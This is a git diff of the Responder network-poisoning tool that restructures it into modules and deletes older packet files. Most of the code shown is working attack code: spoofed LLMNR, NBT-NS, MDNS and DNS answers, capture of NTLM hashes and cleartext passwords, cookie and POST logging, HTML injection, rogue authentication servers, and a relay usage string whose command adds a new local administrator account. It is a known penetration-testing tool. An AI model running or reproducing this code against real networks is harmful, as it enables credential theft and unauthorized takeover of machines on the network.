PrintLLMNRNBTNS(AnalyzeFilename,Message): - print Message - else: - Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(self.client_address[0], Name) - if PrintLLMNRNBTNS(AnalyzeFilename,Message): - print Message - logger3.warning(Message) - - if DontRespondToSpecificHost(DontRespondTo): - if RespondToIPScope(DontRespondTo, self.client_address[0]): - return None - - if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()): - return None - - if RespondToSpecificHost(RespondTo): - if Analyze(AnalyzeMode) == False: - if RespondToIPScope(RespondTo, self.client_address[0]): - if RespondToSpecificName(RespondToName) == False: - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - buff.calculate() - for x in range(1): - soc.sendto(str(buff), self.client_address) - Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) - logging.warning(Message) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass - - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - buff.calculate() - for x in range(1): - soc.sendto(str(buff), self.client_address) - Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) - logging.warning(Message) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass - - if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False: - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - buff.calculate() - Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) - for x in range(1): - soc.sendto(str(buff), self.client_address) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass - if RespondToSpecificName(RespondToName) == False: - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - buff.calculate() - Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) - for x in range(1): - soc.sendto(str(buff), self.client_address) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass - else: - pass - else: - pass - except: - raise - -################################################################################## -#DNS Stuff -################################################################################## -def ParseDNSType(data): - QueryTypeClass = data[len(data)-4:] - if QueryTypeClass == "\x00\x01\x00\x01":#If Type A, Class IN, then answer. - return True - else: - return False - -#DNS Answer packet. -class DNSAns(Packet): - fields = OrderedDict([ - ("Tid", ""), - ("Flags", "\x80\x10"), - ("Question", "\x00\x01"), - ("AnswerRRS", "\x00\x01"), - ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x00"), - ("QuestionName", ""), - ("QuestionNameNull", "\x00"), - ("Type", "\x00\x01"), - ("Class", "\x00\x01"), - ("AnswerPointer", "\xc0\x0c"), - ("Type1", "\x00\x01"), - ("Class1", "\x00\x01"), - ("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long.. - ("IPLen", "\x00\x04"), - ("IP", "\x00\x00\x00\x00"), - ]) - - def calculate(self,data): - self.fields["Tid"] = data[0:2] - self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) - self.fields["IP"] = inet_aton(OURIP) - self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) - -# DNS Server class. -class DNS(BaseRequestHandler): - - def handle(self): - data, soc = self.request - if self.client_address[0] == "127.0.0.1": - pass - elif ParseDNSType(data): - buff = DNSAns() - buff.calculate(data) - soc.sendto(str(buff), self.client_address) - print "DNS Answer sent to: %s "%(self.client_address[0]) - logging.warning('DNS Answer sent to: %s'%(self.client_address[0])) - -class DNSTCP(BaseRequestHandler): - - def handle(self): - try: - data = self.request.recv(1024) - if self.client_address[0] == "127.0.0.1": - pass - elif ParseDNSType(data): - buff = DNSAns() - buff.calculate(data) - self.request.send(str(buff)) - print "DNS Answer sent to: %s "%(self.client_address[0]) - logging.warning('DNS Answer sent to: %s'%(self.client_address[0])) - - except Exception: - pass - - -################################################################################## -#MDNS Stuff -################################################################################## -class MDNSAns(Packet): - fields = OrderedDict([ - ("Tid", "\x00\x00"), - ("Flags", "\x84\x00"), - ("Question", "\x00\x00"), - ("AnswerRRS", "\x00\x01"), - ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x00"), - ("AnswerName", ""), - ("AnswerNameNull", "\x00"), - ("Type", "\x00\x01"), - ("Class", "\x00\x01"), - ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. - ("IPLen", "\x00\x04"), - ("IP", "\x00\x00\x00\x00"), - ]) - - def calculate(self): - self.fields["IP"] = inet_aton(OURIP) - self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) - -def Parse_MDNS_Name(data): - data = data[12:] - NameLen = struct.unpack('>B',data[0])[0] - Name = data[1:1+NameLen] - NameLen_ = struct.unpack('>B',data[1+NameLen])[0] - Name_ = data[1+NameLen:1+NameLen+NameLen_+1] - return Name+'.'+Name_ - -def Poisoned_MDNS_Name(data): - data = data[12:] - Name = data[:len(data)-5] - return Name - -class MDNS(BaseRequestHandler): - - def handle(self): - MADDR = "224.0.0.251" - MPORT = 5353 - data, soc = self.request - if self.client_address[0] == "127.0.0.1": - pass - try: - if Analyze(AnalyzeMode): - if Parse_IPV6_Addr(data): - print '[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data)) - logging.warning('[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data))) - - if RespondToSpecificHost(RespondTo): - if Analyze(AnalyzeMode) == False: - if RespondToIPScope(RespondTo, self.client_address[0]): - if Parse_IPV6_Addr(data): - print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) - logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))) - Name = Poisoned_MDNS_Name(data) - MDns = MDNSAns(AnswerName = Name) - MDns.calculate() - soc.sendto(str(MDns),(MADDR,MPORT)) - - if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False: - if Parse_IPV6_Addr(data): - print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) - logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))) - Name = Poisoned_MDNS_Name(data) - MDns = MDNSAns(AnswerName = Name) - MDns.calculate() - soc.sendto(str(MDns),(MADDR,MPORT)) - else: - pass - except Exception: - raise - -################################################################################## -#HTTP Stuff -################################################################################## -from HTTPPackets import * -from HTTPProxy import * - -#Parse NTLMv1/v2 hash. -def ParseHTTPHash(data,client): - LMhashLen = struct.unpack(' 24: - NthashLen = 64 - DomainLen = struct.unpack('2: - PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip()) - print PostData - logging.warning(PostData) - -#Handle HTTP packet sequence. -def PacketSequence(data,client): - Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data) - BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data) - - if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data): - File = config.get('HTTP Server', 'ExecFilename') - buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File) - buffer1.calculate() - return str(buffer1) - - if ServeEXECAlwaysOrNot(Exec_Mode_On_Off): - if IsExecutable(FILENAME): - buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME) - buffer1.calculate() - return str(buffer1) - else: - buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME)) - buffer1.calculate() - return str(buffer1) - - if Ntlm: - packetNtlm = b64decode(''.join(Ntlm))[8:9] - if packetNtlm == "\x01": - GrabURL(data,client) - GrabCookie(data,client) - r = NTLM_Challenge(ServerChallenge=Challenge) - r.calculate() - t = IIS_NTLM_Challenge_Ans() - t.calculate(str(r)) - buffer1 = str(t) - return buffer1 - if packetNtlm == "\x03": - NTLM_Auth= b64decode(''.join(Ntlm)) - ParseHTTPHash(NTLM_Auth,client) - if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): - Message = "[+]WPAD (auth) file sent to: %s"%(client) - if Verbose: - print Message - logging.warning(Message) - buffer1 = WpadCustom(data,client) - return buffer1 - else: - buffer1 = IIS_Auth_Granted(Payload=HTMLToServe) - buffer1.calculate() - return str(buffer1) - - if BasicAuth: - GrabCookie(data,client) - GrabURL(data,client) - outfile = os.path.join(ResponderPATH,"HTTP-Clear-Text-Password-"+client+".txt") - if PrintData(outfile,b64decode(''.join(BasicAuth))): - print "[+]HTTP-User & Password:", b64decode(''.join(BasicAuth)) - WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth))) - logging.warning('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth)))) - if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): - Message = "[+]WPAD (auth) file sent to: %s"%(client) - if Verbose: - print Message - logging.warning(Message) - buffer1 = WpadCustom(data,client) - return buffer1 - else: - buffer1 = IIS_Auth_Granted(Payload=HTMLToServe) - buffer1.calculate() - return str(buffer1) - - else: - return str(Basic_Ntlm(Basic)) - -#HTTP Server Class -class HTTP(BaseRequestHandler): - - def handle(self): - try: - while True: - self.request.settimeout(1) - data = self.request.recv(8092) - buff = WpadCustom(data,self.client_address[0]) - if buff and WpadForcedAuth(Force_WPAD_Auth) == False: - Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0]) - if Verbose: - print Message - logging.warning(Message) - self.request.send(buff) - else: - buffer0 = PacketSequence(data,self.client_address[0]) - self.request.send(buffer0) - except Exception: - pass#No need to be verbose.. - - -################################################################################## -#HTTP Proxy Stuff -################################################################################## -def HandleGzip(Headers, Content, Payload): - if len(Content) > 5: - try: - unziped = zlib.decompress(Content, 16+zlib.MAX_WBITS) - except: - return False - InjectPayload = Payload - Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) - HasHTML = re.findall('(?<=1: - try: - Headers, Content = data.split('\r\n\r\n') - except: - return data - RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307'] - if [s for s in RedirectCodes if s in Headers]: - return data - if "Content-Encoding: gzip" in Headers: - Gzip = HandleGzip(Headers,Content, Payload) - if Gzip: - return Gzip - else: - return data - if "content-type: text/html" in Headers.lower(): - Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) - HasHTML = re.findall('(?<== 0: - host_port = netloc[:i], int(netloc[i+1:]) - else: - host_port = netloc, 80 - try: soc.connect(host_port) - except socket.error, arg: - try: msg = arg[1] - except: msg = arg - self.send_error(404, msg) - return 0 - return 1 - - def socket_proxy(self): - Proxy = Upstream_Proxy.rstrip('/').replace('http://', '').replace('https://', '') - Proxy = Proxy.split(':') - - try: Proxy = (Proxy[0], int(Proxy[1])) - except: Proxy = (Proxy[0], 8080) - - soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - return ProxySock(soc, Proxy[0], Proxy[1]) - - def do_CONNECT(self): - - if Upstream_Proxy: - soc = self.socket_proxy() - else: - soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - - try: - if self._connect_to(self.path, soc): - self.wfile.write(self.protocol_version + - " 200 Connection established\r\n") - self.wfile.write("Proxy-agent: %s\r\n" % self.version_string()) - self.wfile.write("\r\n") - try: - self._read_write(soc, 300) - except: - pass - finally: - soc.close() - self.connection.close() - - def do_GET(self): - (scm, netloc, path, params, query, fragment) = urlparse.urlparse( - self.path, 'http') - if scm not in ('http') or fragment or not netloc: - self.send_error(400, "bad url %s" % self.path) - return - - if Upstream_Proxy: - soc = self.socket_proxy() - else: - soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - - try: - if scm == 'http': - if self._connect_to(netloc, soc): - soc.send("%s %s %s\r\n" % (self.command, - urlparse.urlunparse(('', '', path, - params, query, - '')), - self.request_version)) - if "Cookie" in self.headers: - Cookie = self.headers['Cookie'] - else: - Cookie = '' - Message = "Requested URL: %s\nComplete Cookie: %s\nClient IP is: %s\n"%(self.path, Cookie, self.client_address[0]) - if Verbose == True: - print Message - OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-request-"+netloc+"-from-"+self.client_address[0]+".txt") - WriteData(OutFile,Message, Message) - self.headers['Connection'] = 'close' - del self.headers['Proxy-Connection'] - for key_val in self.headers.items(): - soc.send("%s: %s\r\n" % key_val) - soc.send("\r\n") - try: - self._read_write(soc, netloc) - except: - pass - - finally: - soc.close() - self.connection.close() - - def _read_write(self, soc, netloc='', max_idling=30): - iw = [self.connection, soc] - ow = [] - count = 0 - while 1: - count += 1 - (ins, _, exs) = select.select(iw, ow, iw, 1) - if exs: - break - if ins: - for i in ins: - if i is soc: - out = self.connection - try: - data = i.recv(8192) - if len(HTMLToServe)>5: - data = InjectData(data) - else: - data = InjectPage(data,self.client_address[0]) - - except: - pass - else: - out = soc - data = i.recv(8192) - if self.command == "POST": - Message = "POST data was: %s\n"%(data) - if Verbose == True: - print Message - OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-request-"+netloc+"-from-"+self.client_address[0]+".txt") - WriteData(OutFile,Message, Message) - if data: - try: - out.send(data) - count = 0 - except: - pass - if count == max_idling: - break - return None - - - do_HEAD = do_GET - do_POST = do_GET - do_PUT = do_GET - do_DELETE=do_GET - - -################################################################################## -#HTTPS Server -################################################################################## -from OpenSSL import SSL -#Parse NTLMv1/v2 hash. -def ParseHTTPSHash(data,client): - LMhashLen = struct.unpack(' 24: - print "[+]HTTPS NTLMv2 hash captured from :",client - logging.warning('[+]HTTPS NTLMv2 hash captured from :%s'%(client)) - NthashLen = 64 - DomainLen = struct.unpack(' 10: - LMhashOffset = struct.unpack('i',data[2:6])[0] - MessageSequence = struct.unpack('i',data[11:15])[0] - LDAPVersion = struct.unpack(' 0: - time.sleep(1) - except KeyboardInterrupt: - exit() + try: + # Load (M)DNS, NBNS and LLMNR Poisoners + from poisoners.LLMNR import LLMNR + from poisoners.NBTNS import NBTNS + from poisoners.MDNS import MDNS + thread.start_new(serve_LLMNR_poisoner, ('', 5355, LLMNR)) + thread.start_new(serve_MDNS_poisoner, ('', 5353, MDNS)) + thread.start_new(serve_NBTNS_poisoner, ('', 137, NBTNS)) + + # Load Browser Listener + from servers.Browser import Browser + thread.start_new(serve_thread_udp_broadcast,('', 138, Browser)) + + if settings.Config.HTTP_On_Off: + from servers.HTTP import HTTP + thread.start_new(serve_thread_tcp,('', 80, HTTP)) + + if settings.Config.SSL_On_Off: + from servers.HTTP import HTTPS + thread.start_new(serve_thread_SSL,('', 443, HTTPS)) + + if settings.Config.WPAD_On_Off: + from servers.HTTP_Proxy import HTTP_Proxy + thread.start_new(serve_thread_tcp,('', 3141, HTTP_Proxy)) + + if settings.Config.SMB_On_Off: + if settings.Config.LM_On_Off == True: + from servers.SMB import SMB1LM + thread.start_new(serve_thread_tcp,('', 445, SMB1LM)) + thread.start_new(serve_thread_tcp,('', 139, SMB1LM)) + else: + from servers.SMB import SMB1 + thread.start_new(serve_thread_tcp,('', 445, SMB1)) + thread.start_new(serve_thread_tcp,('', 139, SMB1)) + + if settings.Config.Krb_On_Off: + from servers.Kerberos import KerbTCP, KerbUDP + thread.start_new(serve_thread_udp,('', 88, KerbUDP)) + thread.start_new(serve_thread_tcp,('', 88, KerbTCP)) + + if settings.Config.SQL_On_Off: + from servers.MSSQL import MSSQL + thread.start_new(serve_thread_tcp,('', 1433, MSSQL)) + + if settings.Config.FTP_On_Off: + from servers.FTP import FTP + thread.start_new(serve_thread_tcp,('', 21, FTP)) + + if settings.Config.POP_On_Off: + from servers.POP3 import POP3 + thread.start_new(serve_thread_tcp,('', 110, POP3)) + + if settings.Config.LDAP_On_Off: + from servers.LDAP import LDAP + thread.start_new(serve_thread_tcp,('', 389, LDAP)) + + if settings.Config.SMTP_On_Off: + from servers.SMTP import ESMTP + thread.start_new(serve_thread_tcp,('', 25, ESMTP)) + thread.start_new(serve_thread_tcp,('', 587, ESMTP)) + + if settings.Config.IMAP_On_Off: + from servers.IMAP import IMAP + thread.start_new(serve_thread_tcp,('', 143, IMAP)) + + if settings.Config.DNS_On_Off: + from servers.DNS import DNS, DNSTCP + thread.start_new(serve_thread_udp,('', 53, DNS)) + thread.start_new(serve_thread_tcp,('', 53, DNSTCP)) + + while True: + time.sleep(1) + + except KeyboardInterrupt: + sys.exit("\r%s Exiting..." % color('[*]', 2, 1)) if __name__ == '__main__': - try: - main() - except: - raise + main() diff --git a/SMBPackets.py b/SMBPackets.py deleted file mode 100644 index a1d3fcb..0000000 --- a/SMBPackets.py +++ /dev/null @@ -1,475 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -#Calculate total SMB packet len. -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length - -#Set MID SMB Header field. -def midcalc(data): - pack=data[34:36] - return pack - -#Set UID SMB Header field. -def uidcalc(data): - pack=data[32:34] - return pack - -#Set PID SMB Header field. -def pidcalc(data): - pack=data[30:32] - return pack - -#Set TID SMB Header field. -def tidcalc(data): - pack=data[28:30] - return pack - - -################################################################################## -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("errorcode", "\x00\x00\x00\x00" ), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x00"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) -################################################################################## -#SMB Negotiate Answer LM packet. -class SMBNegoAnsLM(Packet): - fields = OrderedDict([ - ("Wordcount", "\x11"), - ("Dialect", ""), - ("Securitymode", "\x03"), - ("MaxMpx", "\x32\x00"), - ("MaxVc", "\x01\x00"), - ("Maxbuffsize", "\x04\x41\x00\x00"), - ("Maxrawbuff", "\x00\x00\x01\x00"), - ("Sessionkey", "\x00\x00\x00\x00"), - ("Capabilities", "\xfc\x3e\x01\x00"), - ("Systemtime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"), - ("Srvtimezone", "\x2c\x01"), - ("Keylength", "\x08"), - ("Bcc", "\x10\x00"), - ("Key", ""), - ("Domain", "SMB"), - ("DomainNull", "\x00\x00"), - ("Server", "SMB-TOOLKIT"), - ("ServerNull", "\x00\x00"), - ]) - - def calculate(self): - ##Convert first.. - self.fields["Domain"] = self.fields["Domain"].encode('utf-16le') - self.fields["Server"] = self.fields["Server"].encode('utf-16le') - ##Then calculate. - CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"]) - self.fields["Bcc"] = struct.pack("B", len(AsnLen+CalculateSecBlob)-3) - self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6) - self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) - self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) - self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]))) - self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) - - ###### Andxoffset calculation. - CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen - - self.fields["Andxoffset"] = struct.pack(". import sys, os, struct,re,socket,random, RelayPackets,optparse,thread -from FingerprintRelay import RunSmbFinger +from fingerprint import RunSmbFinger from odict import OrderedDict from socket import * from RelayPackets import * @@ -29,17 +29,11 @@ def UserCallBack(op, value, dmy, parser): args.extend(getattr(parser.values, op.dest)) setattr(parser.values, op.dest, args) -parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin", - prog=sys.argv[0], - ) -parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") - +parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin", prog=sys.argv[0],) +parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP") parser.add_option('-c',action='store', help='Command to run on the target.',metavar='"net user Responder Quol0eeP/e}X /ADD"',dest='CMD') - parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET") - parser.add_option('-d',action="store", help="Target Domain for SMB relay (optional). This can be set to overwrite a domain logon (DOMAIN\Username) with the gathered credentials. Woks on NTLMv1",metavar="WORKGROUP",dest="Domain") - parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay") options, args = parser.parse_args() @@ -65,7 +59,7 @@ UserToRelay = options.UserToRelay Domain = options.Domain Command = options.CMD Target = options.TARGET -OURIP = options.OURIP +Responder_IP = options.Responder_IP print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: lgaffie@trustwave.com" print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m' diff --git a/SMTPPackets.py b/SMTPPackets.py deleted file mode 100644 index 65e252c..0000000 --- a/SMTPPackets.py +++ /dev/null @@ -1,74 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -#SMTP Greating class -class SMTPGreating(Packet): - fields = OrderedDict([ - ("Code", "220"), - ("Separator", "\x20"), - ("Message", "smtp01.local ESMTP"), - ("CRLF", "\x0d\x0a"), - ]) - -class SMTPAUTH(Packet): - fields = OrderedDict([ - ("Code0", "250"), - ("Separator0", "\x2d"), - ("Message0", "smtp01.local"), - ("CRLF0", "\x0d\x0a"), - ("Code", "250"), - ("Separator", "\x20"), - ("Message", "AUTH LOGIN PLAIN XYMCOOKIE"), - ("CRLF", "\x0d\x0a"), - ]) - -class SMTPAUTH1(Packet): - fields = OrderedDict([ - ("Code", "334"), - ("Separator", "\x20"), - ("Message", "VXNlcm5hbWU6"),#Username - ("CRLF", "\x0d\x0a"), - - ]) - -class SMTPAUTH2(Packet): - fields = OrderedDict([ - ("Code", "334"), - ("Separator", "\x20"), - ("Message", "UGFzc3dvcmQ6"),#Password - ("CRLF", "\x0d\x0a"), - - ]) - - diff --git a/SQLPackets.py b/SQLPackets.py deleted file mode 100644 index 7219392..0000000 --- a/SQLPackets.py +++ /dev/null @@ -1,167 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -#MS-SQL Pre-login packet class -class MSSQLPreLoginAnswer(Packet): - fields = OrderedDict([ - ("PacketType", "\x04"), - ("Status", "\x01"), - ("Len", "\x00\x25"), - ("SPID", "\x00\x00"), - ("PacketID", "\x01"), - ("Window", "\x00"), - ("TokenType", "\x00"), - ("VersionOffset", "\x00\x15"), - ("VersionLen", "\x00\x06"), - ("TokenType1", "\x01"), - ("EncryptionOffset", "\x00\x1b"), - ("EncryptionLen", "\x00\x01"), - ("TokenType2", "\x02"), - ("InstOptOffset", "\x00\x1c"), - ("InstOptLen", "\x00\x01"), - ("TokenTypeThrdID", "\x03"), - ("ThrdIDOffset", "\x00\x1d"), - ("ThrdIDLen", "\x00\x00"), - ("ThrdIDTerminator", "\xff"), - ("VersionStr", "\x09\x00\x0f\xc3"), - ("SubBuild", "\x00\x00"), - ("EncryptionStr", "\x02"), - ("InstOptStr", "\x00"), - ]) - - def calculate(self): - CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"]) - - VersionOffset = 